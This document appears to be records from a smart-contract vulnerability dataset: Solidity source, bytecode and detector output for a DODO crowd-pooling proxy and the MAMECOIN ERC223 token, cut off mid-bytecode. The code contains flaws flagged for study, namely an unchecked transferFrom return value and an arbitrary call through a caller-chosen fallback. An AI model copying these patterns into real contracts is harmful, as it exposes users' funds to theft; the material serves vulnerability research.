0; } function addDODOProxy() external onlyOwner notLocked() { _IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true; lockAddProxy(); } function removeDODOProxy (address oldDodoProxy) public onlyOwner { _IS_ALLOWED_PROXY_[oldDodoProxy] = false; } function claimTokens( address token, address who, address dest, uint256 amount ) external { require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted"); IDODOApprove(_DODO_APPROVE_).claimTokens( token, who, dest, amount ); } function isAllowedProxy(address _proxy) external view returns (bool) { return _IS_ALLOWED_PROXY_[_proxy]; } } // File: contracts/SmartRoute/intf/IDODOV2.sol interface IDODOV2 { //========== Common ================== function sellBase(address to) external returns (uint256 receiveQuoteAmount); function sellQuote(address to) external returns (uint256 receiveBaseAmount); function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve); function _BASE_TOKEN_() external view returns (address); function _QUOTE_TOKEN_() external view returns (address); function getPMMStateForCall() external view returns ( uint256 i, uint256 K, uint256 B, uint256 Q, uint256 B0, uint256 Q0, uint256 R ); function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate); function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory); //========== DODOVendingMachine ======== function createDODOVendingMachine( address baseToken, address quoteToken, uint256 lpFeeRate, uint256 i, uint256 k, bool isOpenTWAP ) external returns (address newVendingMachine); function buyShares(address to) external returns (uint256,uint256,uint256); //========== DODOPrivatePool =========== function createDODOPrivatePool() external returns (address newPrivatePool); function initDODOPrivatePool( address dppAddress, address creator, address baseToken, address quoteToken, uint256 lpFeeRate, uint256 k, uint256 i, bool isOpenTwap ) external; function reset( address operator, uint256 newLpFeeRate, uint256 newI, uint256 newK, uint256 baseOutAmount, uint256 quoteOutAmount, uint256 minBaseReserve, uint256 minQuoteReserve ) external returns (bool); function _OWNER_() external returns (address); //========== CrowdPooling =========== function createCrowdPooling() external returns (address payable newCrowdPooling); function initCrowdPooling( address cpAddress, address creator, address baseToken, address quoteToken, uint256[] memory timeLine, uint256[] memory valueList, bool isOpenTWAP ) external; function bid(address to) external; } // File: contracts/intf/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // File: contracts/lib/SafeMath.sol /** * @title SafeMath * @author DODO Breeder * * @notice Math operations with safety checks that revert on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MUL_ERROR"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "DIVIDING_ERROR"); return a / b; } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 quotient = div(a, b); uint256 remainder = a - quotient * b; if (remainder > 0) { return quotient + 1; } else { return quotient; } } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SUB_ERROR"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ADD_ERROR"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } // File: contracts/lib/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/intf/IWETH.sol interface IWETH { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 wad ) external returns (bool); function deposit() external payable; function withdraw(uint256 wad) external; } // File: contracts/lib/ReentrancyGuard.sol /** * @title ReentrancyGuard * @author DODO Breeder * * @notice Protect functions from Reentrancy Attack */ contract ReentrancyGuard { // https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations // zero-state of _ENTERED_ is false bool private _ENTERED_; modifier preventReentrant() { require(!_ENTERED_, "REENTRANT"); _ENTERED_ = true; _; _ENTERED_ = false; } } // File: contracts/SmartRoute/proxies/DODOUpCpProxy.sol /** * @title DODOUpCpProxy * @author DODO Breeder * * @notice UpCrowdPooling Proxy (temporary) */ contract DODOUpCpProxy is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // ============ Storage ============ address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public immutable _WETH_; address public immutable _UPCP_FACTORY_; fallback() external payable {} receive() external payable {} constructor( address upCpFactory, address payable weth ) public { _UPCP_FACTORY_ = upCpFactory; _WETH_ = weth; } //============ UpCrowdPooling Functions (create) ============ function createUpCrowdPooling( address creator, address baseToken, address quoteToken, uint256 baseInAmount, uint256[] memory timeLine, uint256[] memory valueList, bool isOpenTWAP ) external payable preventReentrant returns (address payable newUpCrowdPooling) { address _baseToken = baseToken; address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken; newUpCrowdPooling = IDODOV2(_UPCP_FACTORY_).createCrowdPooling(); IERC20(_baseToken).transferFrom(msg.sender, newUpCrowdPooling, baseInAmount); newUpCrowdPooling.transfer(msg.value); IDODOV2(_UPCP_FACTORY_).initCrowdPooling( newUpCrowdPooling, creator, _baseToken, _quoteToken, timeLine, valueList, isOpenTWAP ); } }
0x6080604052600436106100385760003560e01c80630d4eec8f146100415780633afe1f4c146100725780634ed4acb4146100875761003f565b3661003f57005b005b34801561004d57600080fd5b506100566101d8565b604080516001600160a01b039092168252519081900360200190f35b34801561007e57600080fd5b506100566101fc565b610056600480360360e081101561009d57600080fd5b6001600160a01b03823581169260208101358216926040820135909216916060820135919081019060a0810160808201356401000000008111156100e057600080fd5b8201836020820111156100f257600080fd5b8035906020019184602083028401116401000000008311171561011457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561016457600080fd5b82018360208201111561017657600080fd5b8035906020019184602083028401116401000000008311171561019857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505050503515159050610220565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee5281565b6000805460ff1615610265576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff1916600117815587906001600160a01b03881673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1461029e57876102c0565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b90507f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee526001600160a01b03166389edcf146040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561031d57600080fd5b505af1158015610331573d6000803e3d6000fd5b505050506040513d602081101561034757600080fd5b5051604080516323b872dd60e01b81523360048201526001600160a01b038084166024830152604482018b90529151929550908416916323b872dd916064808201926020929091908290030181600087803b1580156103a557600080fd5b505af11580156103b9573d6000803e3d6000fd5b505050506040513d60208110156103cf57600080fd5b50506040516001600160a01b038416903480156108fc02916000818181858888f19350505050158015610406573d6000803e3d6000fd5b507f00000000000000000000000078d338f9d54e9e41872e68cb1c01d9499d87ee526001600160a01b031663ecfc2db0848c85858b8b8b6040518863ffffffff1660e01b815260040180886001600160a01b03166001600160a01b03168152602001876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001806020018060200184151515158152602001838103835286818151815260200191508051906020019060200280838360005b838110156104fa5781810151838201526020016104e2565b50505050905001838103825285818151815260200191508051906020019060200280838360005b83811015610539578181015183820152602001610521565b505050509050019950505050505050505050600060405180830381600087803b15801561056557600080fd5b505af1158015610579573d6000803e3d6000fd5b50506000805460ff1916905550929a995050505050505050505056fea26469706673582212204bdf8b91459c9580676aa1297072956a1b0487b296cb15d2a7635b366455b73464736f6c63430006090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,268
0x211a5477ce7c2a6f97401383b195087f7dca9be9
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title MAMECOIN * @author MAMECOIN team * @dev MAMECOIN is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract MAMECOIN is ERC223, Ownable { using SafeMath for uint256; string public name = "MAMECOIN"; string public symbol = "MAME"; uint8 public decimals = 8; uint256 public totalSupply = 50e9 * 1e8; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); /** * @dev Constructor is called only once and can not be called again */ function MAMECOIN() public { owner = 0xf438F671f19371aB40EcB32b53f45Fce69996f9B; balanceOf[owner] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } }
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461018f57806318160ddd146101e957806323b872dd14610212578063313ce5671461028b57806364ddc605146102ba57806370a08231146103545780638da5cb5b146103a157806395d89b41146103f65780639dc29fac14610484578063a9059cbb146104c6578063b414d4b614610520578063be45fd6214610571578063c341b9f61461060e578063cbbe974b14610673578063dd62ed3e146106c0578063f2fde38b1461072c578063f6368f8a14610765575b600080fd5b341561010c57600080fd5b610114610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610154578082015181840152602081019050610139565b50505050905090810190601f1680156101815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019a57600080fd5b6101cf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ed565b604051808215151515815260200191505060405180910390f35b34156101f457600080fd5b6101fc6109df565b6040518082815260200191505060405180910390f35b341561021d57600080fd5b610271600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109e9565b604051808215151515815260200191505060405180910390f35b341561029657600080fd5b61029e610efa565b604051808260ff1660ff16815260200191505060405180910390f35b34156102c557600080fd5b61035260048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610f11565b005b341561035f57600080fd5b61038b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611115565b6040518082815260200191505060405180910390f35b34156103ac57600080fd5b6103b461115e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040157600080fd5b610409611184565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044957808201518184015260208101905061042e565b50505050905090810190601f1680156104765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048f57600080fd5b6104c4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061122c565b005b34156104d157600080fd5b610506600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113e4565b604051808215151515815260200191505060405180910390f35b341561052b57600080fd5b610557600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061157e565b604051808215151515815260200191505060405180910390f35b341561057c57600080fd5b6105f4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061159e565b604051808215151515815260200191505060405180910390f35b341561061957600080fd5b610671600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035151590602001909190505061172f565b005b341561067e57600080fd5b6106aa600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118d1565b6040518082815260200191505060405180910390f35b34156106cb57600080fd5b610716600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118e9565b6040518082815260200191505060405180910390f35b341561073757600080fd5b610763600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611970565b005b341561077057600080fd5b61082b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611ac8565b604051808215151515815260200191505060405180910390f35b61084d61274d565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108e35780601f106108b8576101008083540402835291602001916108e3565b820191906000526020600020905b8154815290600101906020018083116108c657829003601f168201915b5050505050905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610a275750600082115b8015610a72575081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610afa575081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015610b56575060001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610bb2575060001515600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610bfc5750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b8015610c465750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610c5157600080fd5b610ca382600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461207790919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d3882600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209090919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0a82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461207790919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600460009054906101000a900460ff16905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6f57600080fd5b60008351118015610f81575081518351145b1515610f8c57600080fd5b600090505b8251811015611110578181815181101515610fa857fe5b90602001906020020151600960008584815181101515610fc457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561101557600080fd5b818181518110151561102357fe5b9060200190602002015160096000858481518110151561103f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561109557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c157783838151811015156110e457fe5b906020019060200201516040518082815260200191505060405180910390a28080600101915050610f91565b505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61118c61274d565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112225780601f106111f757610100808354040283529160200191611222565b820191906000526020600020905b81548152906001019060200180831161120557829003601f168201915b5050505050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128857600080fd5b6000811180156112d7575080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156112e257600080fd5b61133481600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461207790919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061138c8160055461207790919063ffffffff16565b6005819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b60006113ee612761565b60008311801561144e575060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156114aa575060001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156114f45750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b801561153e5750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561154957600080fd5b611552846120ae565b15611569576115628484836120c1565b9150611577565b61157484848361249b565b91505b5092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600080831180156115ff575060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561165b575060001515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156116a55750600960003373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffff